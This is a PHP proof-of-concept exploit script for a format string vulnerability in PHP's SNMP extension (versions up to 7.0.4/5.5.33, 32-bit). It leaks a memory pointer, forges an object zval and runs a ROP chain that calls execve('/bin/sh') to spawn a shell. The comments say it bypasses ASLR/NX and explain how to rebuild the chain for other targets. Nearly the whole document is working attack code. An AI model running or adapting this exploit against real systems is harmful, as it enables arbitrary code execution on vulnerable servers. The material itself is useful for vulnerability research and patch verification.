<?php
// PHP <= 7.0.4/5.5.33 SNMP format string exploit (32bit)
// By Andrew Kramer <andrew at jmpesp dot org>
// Should bypass ASLR/NX just fine
// This exploit utilizes PHP's internal "%Z" (zval)
// format specifier in order to achieve code-execution.
// We fake an object-type zval in memory and then bounce
// through it carefully. First though, we use the same
// bug to leak a pointer to the string itself. We can
// then edit the global variable with correct pointers
// before hitting it a second time to get EIP. This
// makes it super reliable! Like... 100%.
// To my knowledge this hasn't really been done before, but
// credit to Stefan Esser (@i0n1c) for the original idea. It works!
// All the ROP gadgets are from a binary I compiled myself.
// If you want to use this yourself, you'll probably need
// to build a new ROP chain and find new stack pivots for
// whatever binary you're targeting. If you just want to get
// EIP, change $stack_pivot_1 to 0x41414141 below.
// pass-by-reference here so we keep things tidy
function
trigger(&
$format_string
) {
$session
=
new
SNMP(SNMP::VERSION_3,
"127.0.0.1"
,
"public"
);
// you MUST set exceptions_enabled in order to trigger this
$session
->exceptions_enabled = SNMP::ERRNO_ANY;
try
{
$session
->get(
$format_string
);
}
catch
(SNMPException
$e
) {
return
$e
->getMessage();
}
}
// overwrite either $payload_{1,2} with $str at $offset
function
overwrite(
$which
,
$str
,
$offset
) {
// these need to be global so PHP doesn't just copy them
global
$payload_1
,
$payload_2
;
// we MUST copy byte-by-byte so PHP doesn't realloc
for
(
$c
=0;
$c
<
strlen
(
$str
);
$c
++) {
switch
(
$which
) {
case
1:
$payload_1
[
$offset
+
$c
] =
$str
[
$c
];
break
;
case
2:
$payload_2
[
$offset
+
$c
] =
$str
[
$c
];
break
;
}
}
}
echo
"> Setting up payloads\n"
;
//$stack_pivot_1 = pack("L", 0x41414141); // Just get EIP, no exploit
$stack_pivot_1
= pack(
"L"
, 0x0807c19f);
// xchg esp ebx
$stack_pivot_2
= pack(
"L"
, 0x0809740e);
// add esp, 0x14
// this is used at first to leak the pointer to $payload_1
$leak_str
=
str_repeat
(
"%d"
, 13) .
$stack_pivot_2
.
"Xw00t%lxw00t"
;
$trampoline_offset
=
strlen
(
$leak_str
);
// used to leak a pointer and also to store ROP chain
$payload_1
=
$leak_str
.
// leak a pointer
"XXXX"
.
// will be overwritten later
$stack_pivot_1
.
// initial EIP (rop start)
// ROP: execve('/bin/sh',0,0)
pack(
"L"
, 0x080f0bb7) .
// xor ecx, ecx; mov eax, ecx
pack(
"L"
, 0x0814491f) .
// xchg edx, eax
pack(
"L"
, 0x0806266d) .
// pop ebx
pack(
"L"
, 0x084891fd) .
// pointer to /bin/sh
pack(
"L"
, 0x0807114c) .
// pop eax
pack(
"L"
, 0xfffffff5) .
// -11
pack(
"L"
, 0x081818de) .
// neg eax
pack(
"L"
, 0x081b5faa);
// int 0x80
// used to trigger the exploit once we've patched everything
$payload_2
=
"XXXX"
.
// will be overwritten later
"XXXX"
.
// just padding, whatevs
"\x08X"
.
// zval type OBJECT
str_repeat
(
"%d"
, 13) .
"%Z"
;
// trigger the exploit
// leak a pointer
echo
"> Attempting to leak a pointer\n"
;
$data
= trigger(
$payload_1
);
$trampoline_ptr
= (int)hexdec((
explode
(
"w00t"
,
$data
)[1])) +
$trampoline_offset
;
echo
"> Leaked pointer: 0x"
.
dechex
(
$trampoline_ptr
) .
"\n"
;
// If there are any null bytes or percent signs in the pointer, it will break
// the -0x10 will be applied later, so do it now too
if
(
strpos
(pack(
"L"
,
$trampoline_ptr
- 0x10),
"\x00"
) !== false
||
strpos
(pack(
"L"
,
$trampoline_ptr
- 0x10),
"%"
) !== false) {
echo
"> That pointer has a bad character in it\n"
;
echo
"> This won't work. Bailing out... :(\n"
;
exit
(0);
}
echo
"> Overwriting payload with calculated offsets\n"
;
// prepare the trampoline
// code looks kinda like...
// mov eax, [eax+0x10]
// mov eax, [eax+0x54]
// call eax
overwrite(2, pack(
"L"
,
$trampoline_ptr
- 0x10), 0);
overwrite(1, pack(
"L"
,
$trampoline_ptr
- 0x54 + 4),
$trampoline_offset
);
// exploit
echo
"> Attempting to pop a shell\n"
;
trigger(
$payload_2
);
// if we make it here, something didn't work
echo
"> Exploit failed :(\n"
;